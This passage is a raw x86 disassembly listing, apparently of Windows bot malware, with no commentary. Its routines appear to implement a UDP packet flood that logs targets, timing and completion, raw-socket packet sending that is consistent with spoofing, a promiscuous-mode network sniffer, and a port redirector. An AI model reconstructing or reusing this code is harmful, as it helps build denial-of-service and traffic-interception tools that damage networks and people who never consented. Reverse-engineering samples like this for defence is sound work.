		mov	eax, [esp+0A8h+var_8C]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
sub_4270E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		call	near ptr 77C371D3h
		nop
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+8+arg_C]
		mov	edx, [esp+8+arg_8]
		push	ecx
		mov	ecx, [esp+0Ch+arg_4]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
		add	esp, 18h
		pop	esi
		retn
sub_427520	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx ; dword_50FABC
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx ; dword_50FABC
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx ; dword_50FABC
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp ; dword_50FC5C
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2821DA2h
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx ; dword_50FABC
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	near ptr 71AB2C69h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D6107
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D6107


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx ; dword_50FC90
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F40
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FC0	proc near		; CODE XREF: sub_401A14j
					; ___:loc_402068j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	[esp+4+arg_0], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_427FD8:				; CODE XREF: sub_427FC0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi ; dword_50FC88


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi ; dword_50FC88


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
